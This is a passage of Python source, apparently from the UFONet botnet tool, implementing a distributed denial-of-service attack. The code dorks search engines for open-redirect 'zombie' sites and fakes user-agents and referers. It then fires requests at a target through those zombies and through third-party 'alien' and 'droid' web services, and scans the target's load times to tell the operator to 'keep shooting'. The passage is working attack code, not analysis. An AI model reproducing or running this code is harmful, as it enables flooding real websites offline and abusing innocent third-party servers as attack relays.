  2652. if not dorks:
  2653. if not options.autosearch:
  2654. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2655. return
  2656. else:
  2657. return dorks
  2658. except:
  2659. if not options.autosearch:
  2660. if os.path.exists(self.dorks_file) == True:
  2661. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2662. return #sys.exit(2)
  2663. else:
  2664. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2665. return #sys.exit(2)
  2666. else:
  2667. return
  2668. def search_zombies(self, dork, zombies_found):
  2669. # crawlering on search engine results to extract zombies
  2670. options = self.options
  2671. zombies = []
  2672. if not options.engine: # default search engine
  2673. options.engine = 'duck'
  2674. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  2675. url = 'https://www.bing.com/search?'
  2676. if options.search: # search from query
  2677. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2678. if options.dorks or options.autosearch: # search from a dork
  2679. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2680. start = 0 # set index number of first entry
  2681. query_string = { 'q':q, 'first':start }
  2682. data = urllib.parse.urlencode(query_string)
  2683. url = url + data
  2684. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2685. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2686. if options.verbose:
  2687. print("[Info] [AI] Query used: " + url)
  2688. print("\n" + '-'*44 + '\n')
  2689. try:
  2690. if options.proxy: # set proxy
  2691. self.proxy_transport(options.proxy)
  2692. req = urllib.request.Request(url, None, headers)
  2693. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2694. except:
  2695. print('[Error] [AI] Unable to connect to: bing\n')
  2696. if options.allengines or options.autosearch:
  2697. return
  2698. if not options.dorks or not options.autosearch:
  2699. if not self.options.forceyes:
  2700. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2701. else:
  2702. update_reply = "Y"
  2703. if update_reply == "n" or update_reply == "N":
  2704. return #sys.exit(2)
  2705. print("\nSearch engines available:")
  2706. print('-'*25)
  2707. for e in self.search_engines:
  2708. print("+ "+e)
  2709. print('-'*25)
  2710. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2711. return #sys.exit(2)
  2712. else:
  2713. req_reply = ''
  2714. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  2715. pattern = re.compile(regex)
  2716. url_links = re.findall(pattern, req_reply)
  2717. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  2718. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  2719. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  2720. location = str(random.choice(location).strip()) # shuffle location
  2721. if location == "jp": # [28/02/2019]
  2722. url = 'https://search.yahoo.co.jp/search?'
  2723. else:
  2724. url = 'https://'+location+'.search.yahoo.com/search?'
  2725. if options.search: # search from query
  2726. if location == "jp":
  2727. q = '"' + str(options.search) + '"' # set query to search literally on results
  2728. else:
  2729. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2730. if options.dorks or options.autosearch: # search from a dork
  2731. if location == "jp":
  2732. q = '"' + str(dork) + '"' # set query to search literally on results
  2733. else:
  2734. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2735. start = 0 # set index number of first entry
  2736. query_string = { 'p':q, 'b':start }
  2737. data = urllib.parse.urlencode(query_string)
  2738. url = url + data
  2739. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2740. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2741. if options.verbose:
  2742. print(("Query used: " + url + "\n"))
  2743. try:
  2744. if options.proxy: # set proxy
  2745. self.proxy_transport(options.proxy)
  2746. req = urllib.request.Request(url, None, headers)
  2747. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2748. except:
  2749. print('[Error] [AI] Unable to connect to: yahoo\n')
  2750. if options.allengines or options.autosearch:
  2751. return
  2752. if not options.dorks or not options.autosearch:
  2753. if not self.options.forceyes:
  2754. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2755. else:
  2756. update_reply = "Y"
  2757. if update_reply == "n" or update_reply == "N":
  2758. return #sys.exit(2)
  2759. print("\nSearch engines available:")
  2760. print('-'*25)
  2761. for e in self.search_engines:
  2762. print("+ "+e)
  2763. print('-'*25)
  2764. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  2765. return #sys.exit(2)
  2766. else:
  2767. req_reply = ''
  2768. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  2769. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  2770. pattern = re.compile(regex)
  2771. url_links = re.findall(pattern, req_reply)
  2772. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  2773. url = 'https://duckduckgo.com/html/'
  2774. if options.search: # search from query
  2775. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2776. if options.dorks or options.autosearch: # search from a dork
  2777. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2778. query_string = { 'q':q }
  2779. data = urllib.parse.urlencode(query_string)
  2780. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2781. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2782. if options.verbose:
  2783. print("Query used: " + url + " (POST: "+ data + ")\n")
  2784. try:
  2785. if options.proxy: # set proxy
  2786. self.proxy_transport(options.proxy)
  2787. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  2788. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2789. except:
  2790. print('[Error] [AI] Unable to connect to: duck\n')
  2791. if options.allengines or options.autosearch:
  2792. return
  2793. if not options.dorks or not options.autosearch:
  2794. if not self.options.forceyes:
  2795. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2796. else:
  2797. update_reply = "Y"
  2798. if update_reply == "n" or update_reply == "N":
  2799. return #sys.exit(2)
  2800. print("\nSearch engines available:")
  2801. print('-'*25)
  2802. for e in self.search_engines:
  2803. print("+ "+e)
  2804. print('-'*25)
  2805. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2806. return #sys.exit(2)
  2807. else:
  2808. req_reply = ''
  2809. regex = 'snippet" href="(.+?)">' # regex magics
  2810. pattern = re.compile(regex)
  2811. url_links = re.findall(pattern, req_reply)
  2812. else: # no valid search engine
  2813. print('[Error] [AI] This search engine is not supported!\n')
  2814. if not options.dorks or options.autosearch:
  2815. if not self.options.forceyes:
  2816. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2817. else:
  2818. update_reply = "Y"
  2819. if update_reply == "n" or update_reply == "N":
  2820. return #sys.exit(2)
  2821. print("\nSearch engines available:")
  2822. print('-'*25)
  2823. for e in self.search_engines:
  2824. print("+ "+e)
  2825. print('-'*25)
  2826. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2827. return #sys.exit(2)
  2828. else:
  2829. req_reply = ''
  2830. if options.num_results: # set number of results to search
  2831. try:
  2832. num = int(options.num_results)
  2833. except:
  2834. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  2835. num = 10
  2836. else:
  2837. num = 10
  2838. total_results = 1
  2839. for url in url_links: # general parse on urls
  2840. if int(num) < int(total_results):
  2841. break
  2842. if options.engine == "bing":
  2843. if " h=" in url: # regex magics [18/08/2016]
  2844. url = url.rsplit('" h=',1)[0]
  2845. if options.engine == "yahoo":
  2846. if 'RU=' in url: # regex magics [18/08/2016]
  2847. url = url.rsplit('RU=',1)[1]
  2848. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  2849. url = url.rsplit('UTF-8&u=',1)[1]
  2850. total_results = total_results + 1 # results counter
  2851. url_link = urllib.parse.unquote(url) # unquote encoding
  2852. if options.search:
  2853. sep = str(options.search)
  2854. if options.dorks or options.autosearch:
  2855. sep = str(dork)
  2856. url_link = url_link.rsplit(sep, 1)[0] + sep
  2857. if 'href="' in url_link:
  2858. url_link = url_link.rsplit('href="', 1)[1]
  2859. if "instreamset" in url_link: # invalid zombie
  2860. url_link = "" # discarded
  2861. if '" ' in url_link:
  2862. url_link = url_link.rsplit('" ', 1)[1]
  2863. if options.engine in url_link:
  2864. url_link = "" # discarded
  2865. if 'http' not in url_link:
  2866. url_link = "" # discarded
  2867. else:
  2868. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  2869. print('+Victim found: ' + url_link)
  2870. print('-'*12)
  2871. zombies.append(url_link)
  2872. else:
  2873. pass
  2874. if len(zombies) == 0: # print dorking results
  2875. print("[Info] [AI] NOT any NEW victim(s) found for this query!")
  2876. if not options.dorks:
  2877. if not options.autosearch:
  2878. if not self.options.forceyes:
  2879. return #sys.exit(2)
  2880. print("\n" + '-'*44 + '\n')
  2881. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  2882. return zombies
  2883. def check_nat(self):
  2884. # check for NAT configuration
  2885. options = self.options
  2886. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  2887. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  2888. check_ip_service = None
  2889. if not tor_reply or 'Congratulations' not in tor_reply:
  2890. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  2891. else:
  2892. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  2893. self.nat_error_flag = "ON"
  2894. return #sys.exit(2)
  2895. try:
  2896. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  2897. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  2898. check_ip_service = self.check_ip_service1
  2899. except:
  2900. try: # another check for public ip
  2901. data = str(urlopen(self.check_ip_service2).read())
  2902. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  2903. check_ip_service = self.check_ip_service2
  2904. except:
  2905. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  2906. self.nat_error_flag = "ON"
  2907. return
  2908. t = urlparse(check_ip_service)
  2909. name_service = t.netloc
  2910. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  2911. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2912. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2913. self.local_ip = s.getsockname()[0]
  2914. print(" + Local: " + self.local_ip + "\n")
  2915. print('='*22 + '\n')
  2916. def extract_ucavs(self):
  2917. # extract ucavs from file
  2918. options = self.options
  2919. try:
  2920. f = open(self.ucavs_file)
  2921. ucavs = f.readlines()
  2922. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2923. f.close()
  2924. if not ucavs:
  2925. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2926. self.options.disableucavs = True
  2927. return
  2928. else:
  2929. return ucavs
  2930. except:
  2931. if os.path.exists(self.ucavs_file) == True:
  2932. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2933. return #sys.exit(2)
  2934. else:
  2935. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2936. return #sys.exit(2)
  2937. def discarding_ucavs(self, ucav, ucavs):
  2938. if ucav in self.discard_ucavs:
  2939. ucavs.remove(ucav)
  2940. if self.options.verbose:
  2941. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  2942. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2943. return ucavs
  2944. def send_ucavs(self, ucavs):
  2945. # extract external status checkers, perform a request and check results
  2946. time.sleep(5) # aiming (multi-threading flow time compensation)
  2947. if not self.options.disablepurge:
  2948. if not ucavs: # return when not any working
  2949. self.options.disableucavs = True
  2950. return
  2951. options = self.options
  2952. target = self.options.target
  2953. shuffle(ucavs) # shuffle ucavs order, each round :-)
  2954. if not self.options.disablepurge:
  2955. for ucav in ucavs:
  2956. if not ucav.startswith('http'): # discarded inmediately
  2957. self.discard_ucavs.append(ucav)
  2958. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2959. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  2960. if not self.options.disablepurge:
  2961. if not ucavs: # return when not any working
  2962. self.options.disableucavs = True
  2963. return
  2964. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  2965. for ucav in ucavs:
  2966. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2967. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2968. if target.startswith("http://"): # parse target for some checkers
  2969. target = target.replace('http://','')
  2970. elif target.startswith("https://"):
  2971. target = target.replace('https://','')
  2972. url = ucav + target
  2973. t = urlparse(ucav)
  2974. name_ucav = t.netloc
  2975. if name_ucav == "":
  2976. name_ucav = ucav
  2977. if options.verbose:
  2978. print(("[Info] [UCAVs] Sniping: " + url))
  2979. try:
  2980. if options.proxy: # set proxy
  2981. self.proxy_transport(options.proxy)
  2982. if options.timeout: # set timeout
  2983. ucav_timeout = options.timeout
  2984. else:
  2985. ucav_timeout = 5
  2986. if ucav_timeout < 1:
  2987. ucav_timeout = 5
  2988. req = urllib.request.Request(url, None, headers)
  2989. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  2990. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  2991. except:
  2992. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  2993. if not self.options.disablepurge:
  2994. self.discard_ucavs.append(ucav)
  2995. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2996. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2997. target_reply = ""
  2998. if target_reply == "": # check for target's status resolved by [UCAVs]
  2999. pass
  3000. else:
  3001. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  3002. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  3003. self.num_is_up = self.num_is_up + 1
  3004. else:
  3005. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  3006. self.num_is_down = self.num_is_down + 1
  3007. if self.options.verbose:
  3008. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  3009. self.extra_zombies_lock = False # [ARMY] have finished
  3010. def extract_median(self, num_list):
  3011. # extract median from a list of numbers
  3012. import statistics
  3013. int_num = []
  3014. for num in num_list:
  3015. num = float(num)
  3016. int_num.append(num)
  3017. return statistics.median(int_num)
  3018. def check_is_loading(self, target):
  3019. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  3020. self.start = None
  3021. self.stop = None
  3022. print('\n---------')
  3023. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  3024. if target.endswith(""):
  3025. target.replace("", "/")
  3026. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3027. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3028. try:
  3029. req = urllib.request.Request(target, None, headers)
  3030. if self.options.proxy: # set proxy
  3031. self.proxy_transport(self.options.proxy)
  3032. if self.options.timeout: # set timeout
  3033. try:
  3034. timeout = int(self.options.timeout)
  3035. except:
  3036. timeout = 5
  3037. else:
  3038. timeout = 5
  3039. if timeout < 1:
  3040. timeout = 5
  3041. self.start = time.time()
  3042. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3043. header = urllib.request.urlopen(req, context=self.ctx).info()
  3044. self.stop = time.time()
  3045. except:
  3046. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  3047. return
  3048. try:
  3049. s, size_name = self.convert_size(len(target_reply))
  3050. self.loadcheck_size_list.append(s) # add record to size list
  3051. size = '%s %s' % (s,size_name)
  3052. except:
  3053. size = "Error!"
  3054. try:
  3055. time_required = self.stop - self.start
  3056. load = self.convert_time(time_required)
  3057. self.loadcheck_load_list.append(load) # add record to load list
  3058. except:
  3059. load = "Error!"
  3060. self.loadcheck_counter = self.loadcheck_counter + 1
  3061. print(' -Total tests:', self.loadcheck_counter, "\n")
  3062. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  3063. lsm = self.extract_median(self.loadcheck_size_list)
  3064. if lsm is not None:
  3065. self.loadcheck_size_median = str(lsm) + " " + size_name
  3066. else:
  3067. self.loadcheck_size_median = None
  3068. llm = self.extract_median(self.loadcheck_load_list)
  3069. if llm is not None:
  3070. self.loadcheck_load_median = str(llm) + " seconds"
  3071. else:
  3072. self.loadcheck_load_median = None
  3073. if self.loadcheck_counter == 2: # first round
  3074. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3075. print(' -Bytes in (this round) :', size)
  3076. if self.loadcheck_size_median is not None:
  3077. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3078. print(' ----')
  3079. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3080. print(' -Load time (this round) :', load, "seconds")
  3081. if self.loadcheck_load_median is not None:
  3082. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3083. else:
  3084. print("\n")
  3085. self.loadcheck_size_max = None
  3086. self.loadcheck_size_min = None
  3087. self.loadcheck_load_max = None
  3088. self.loadcheck_load_min = None
  3089. elif self.loadcheck_counter > 2: # rest of rounds
  3090. lsmax = max(self.loadcheck_size_list)
  3091. if lsmax is not None:
  3092. self.loadcheck_size_max = str(lsmax) + " " + size_name
  3093. else:
  3094. self.loadcheck_size_max = None
  3095. lsmin = min(self.loadcheck_size_list)
  3096. if lsmin is not None:
  3097. self.loadcheck_size_min = str(lsmin) + " " + size_name
  3098. else:
  3099. self.loadcheck_size_min = None
  3100. llmax = max(self.loadcheck_load_list)
  3101. if llmax is not None:
  3102. self.loadcheck_load_max = str(llmax) + " seconds"
  3103. else:
  3104. self.loadcheck_load_max = None
  3105. llmin = min(self.loadcheck_load_list)
  3106. if llmin is not None:
  3107. self.loadcheck_load_min = str(llmin) + " seconds"
  3108. else:
  3109. self.loadcheck_load_min = None
  3110. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3111. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  3112. print(' -Bytes in (this round) :', size)
  3113. if self.loadcheck_size_max is not None:
  3114. print(' -Bytes in (max) :', self.loadcheck_size_max)
  3115. if self.loadcheck_size_min is not None:
  3116. print(' -Bytes in (min) :', self.loadcheck_size_min)
  3117. if self.loadcheck_size_median is not None:
  3118. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3119. print(' ----')
  3120. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3121. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  3122. print(' -Load time (this round) :', load, "seconds")
  3123. if self.loadcheck_load_max is not None:
  3124. print(' -Load time (max) :', self.loadcheck_load_max)
  3125. if self.loadcheck_load_min is not None:
  3126. print(' -Load time (min) :', self.loadcheck_load_min)
  3127. if self.loadcheck_load_median is not None:
  3128. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3129. else:
  3130. print("\n")
  3131. if self.loadcheck_prev_load < load: # target is loading more slowly
  3132. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  3133. elif self.loadcheck_prev_load == load: # inmutable target
  3134. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  3135. elif self.loadcheck_prev_load > load: # is target defending?
  3136. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  3137. else:
  3138. print(' -Bytes in (this round) :', size)
  3139. print(' -Load time (this round):', load, "seconds\n")
  3140. self.loadcheck_first_size = size
  3141. self.loadcheck_first_load = load
  3142. self.loadcheck_size_median = None
  3143. self.loadcheck_load_median = None
  3144. self.loadcheck_size_max = None
  3145. self.loadcheck_size_min = None
  3146. self.loadcheck_load_max = None
  3147. self.loadcheck_load_min = None
  3148. self.loadcheck_prev_size = size # record previous size
  3149. self.loadcheck_prev_load = load # record previous load
  3150. def convert_size(self, size):
  3151. if (size == 0):
  3152. return '0 B'
  3153. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  3154. i = int(math.floor(math.log(size,1024)))
  3155. p = math.pow(1024,i)
  3156. s = round(size/p,2)
  3157. return s, size_name[i]
  3158. def convert_time(self, time):
  3159. return '%.2f' % time
  3160. def discarding_zombies(self, zombie, zombies):
  3161. if zombie in self.discardzombies:
  3162. zombies.remove(zombie)
  3163. if self.options.verbose:
  3164. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  3165. return zombies
  3166. def send_zombies(self, zombies):
  3167. # send Open Redirect zombies
  3168. time.sleep(1) # aiming (multi-threading flow time compensation)
  3169. if not self.options.disablepurge:
  3170. if not zombies:
  3171. self.empty_zombies = True
  3172. return
  3173. if self.options.verbose:
  3174. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  3175. options = self.options
  3176. target = self.options.target
  3177. shuffle(zombies) # shuffle zombies order, each round :-)
  3178. if not self.options.disablepurge:
  3179. for zombie in zombies: # check if zombie is failing for autobalance army
  3180. if not zombie.startswith('http'): # discarded inmediately
  3181. self.discardzombies.append(zombie)
  3182. self.num_discard_zombies = self.num_discard_zombies + 1
  3183. zombies = self.discarding_zombies(zombie, zombies)
  3184. if not self.options.disablepurge:
  3185. if not zombies: # return when not any working
  3186. self.empty_zombies = True
  3187. return
  3188. for zombie in zombies:
  3189. t = urlparse(zombie)
  3190. name_zombie = t.netloc
  3191. if name_zombie == "":
  3192. name_zombie = zombie
  3193. if not self.options.attackme:
  3194. print("[Info] [Zombies] Attacking from: " + name_zombie)
  3195. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  3196. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  3197. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  3198. self.options.target = target
  3199. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  3200. print("[Info] [Zombies] Payload: " + target)
  3201. print('='*55, "\n")
  3202. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3203. if not options.target.startswith('http'):
  3204. if options.forcessl:
  3205. options.target = "https://" + options.target
  3206. else:
  3207. options.target = "http://" + options.target
  3208. self.attack_mode = True
  3209. try:
  3210. if options.verbose:
  3211. print("[Info] [Zombies] Sniping: " + options.target)
  3212. self.connect_zombies(zombie)
  3213. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  3214. self.db_flash = self.db_flash + 1
  3215. stress = self.stressing(target, zombie)
  3216. except Exception:
  3217. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  3218. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  3219. if not self.options.disablepurge:
  3220. self.discardzombies.append(zombie)
  3221. self.num_discard_zombies = self.num_discard_zombies + 1
  3222. if self.options.verbose:
  3223. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  3224. self.attack_mode = False
  3225. def discarding_aliens(self, alien, aliens):
  3226. if alien in self.discard_aliens:
  3227. aliens.remove(alien)
  3228. if self.options.verbose:
  3229. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  3230. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3231. return aliens
  3232. def send_aliens(self, aliens):
  3233. # extract external web abuse services urls (POST) and perform requests against target
  3234. time.sleep(2) # aiming (multi-threading flow time compensation)
  3235. if not self.options.disablepurge:
  3236. if not aliens: # return when not any working
  3237. self.options.disablealiens = True
  3238. return
  3239. target = self.options.target
  3240. options = self.options
  3241. shuffle(aliens) # shuffle aliens
  3242. if not self.options.disablepurge:
  3243. for alien in aliens:
  3244. if not alien.startswith('http'): # discarded inmediately
  3245. self.discard_aliens.append(alien)
  3246. self.num_discard_aliens = self.num_discard_aliens + 1
  3247. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  3248. if not self.options.disablepurge:
  3249. if not aliens: # return when not any working
  3250. self.options.disablealiens = True
  3251. return
  3252. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  3253. for alien in aliens:
  3254. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  3255. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  3256. pattern_alien = re.compile(regex_alien)
  3257. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  3258. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  3259. pattern_param = re.compile(regex_param)
  3260. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  3261. for u in alien_url:
  3262. url = u # ex: POST -> path/submit.php
  3263. t = urlparse(url)
  3264. name_alien = t.netloc
  3265. if name_alien == "":
  3266. name_alien = alien
  3267. print("[Info] [Aliens] Attacking from: " + name_alien)
  3268. for p in param:
  3269. param_target = {p : target} # ex POST -> url=target
  3270. param_target = urllib.parse.urlencode(param_target)
  3271. try:
  3272. if options.verbose:
  3273. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  3274. if options.proxy: # set proxy
  3275. self.proxy_transport(options.proxy)
  3276. if self.options.timeout: # set timeout
  3277. try:
  3278. alien_timeout = int(self.options.timeout)
  3279. except:
  3280. alien_timeout = 5
  3281. else:
  3282. alien_timeout = 5
  3283. if alien_timeout < 1:
  3284. alien_timeout = 5
  3285. req = urllib.request.Request(url, param_target.encode('utf-8'))
  3286. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  3287. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  3288. except Exception:
  3289. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  3290. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3291. if not self.options.disablepurge:
  3292. self.discard_aliens.append(alien)
  3293. self.num_discard_aliens = self.num_discard_aliens + 1
  3294. else:
  3295. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  3296. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3297. if not self.options.disablepurge:
  3298. self.discard_aliens.append(alien)
  3299. self.num_discard_aliens = self.num_discard_aliens + 1
  3300. if self.options.verbose:
  3301. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  3302. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  3303. self.extra_zombies_lock = False # [ARMY] have finished
  3304. def extract_aliens(self):
  3305. # extract aliens from file
  3306. options = self.options
  3307. try:
  3308. f = open(self.aliens_file)
  3309. aliens = f.readlines()
  3310. aliens = [ alien.replace('\n','') for alien in aliens ]
  3311. f.close()
  3312. if not aliens:
  3313. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3314. self.options.disablealiens = True
  3315. return
  3316. else:
  3317. return aliens
  3318. except:
  3319. if os.path.exists(self.aliens_file) == True:
  3320. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3321. return #sys.exit(2)
  3322. else:
  3323. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3324. return #sys.exit(2)
  3325. def discarding_droids(self, droid, droids):
  3326. if droid in self.discard_droids:
  3327. droids.remove(droid)
  3328. if self.options.verbose:
  3329. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  3330. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3331. return droids
  3332. def send_droids(self, droids):
  3333. # extract external web abuse services urls (GET) and perform requests against target
  3334. time.sleep(3) # aiming (multi-threading flow time compensation)
  3335. if not self.options.disablepurge:
  3336. if not droids: # return when not any working
  3337. self.options.disabledroids = True
  3338. return
  3339. target = self.options.target
  3340. try:
  3341. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  3342. except:
  3343. target = urllib.parse.unquote(target)
  3344. if target.startswith('http://'): # remove http
  3345. target = target.replace('http://', '')
  3346. if target.startswith('https://'):
  3347. target = target.replace('https://', '') # remove https
  3348. options = self.options
  3349. shuffle(droids) # shuffle droids
  3350. if not self.options.disablepurge:
  3351. for droid in droids:
  3352. if not droid.startswith('http'): # discarded inmediately
  3353. self.discard_droids.append(droid)
  3354. self.num_discard_droids = self.num_discard_droids + 1
  3355. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  3356. if not self.options.disablepurge:
  3357. if not droids: # return when not any working
  3358. self.options.disabledroids = True
  3359. return
  3360. shuffle(droids) # shuffle droids order, each discarding check :-)
  3361. for droid in droids:
  3362. if "$TARGET" in droid: # replace droid/parameter for target
  3363. url = droid.replace("$TARGET", target)
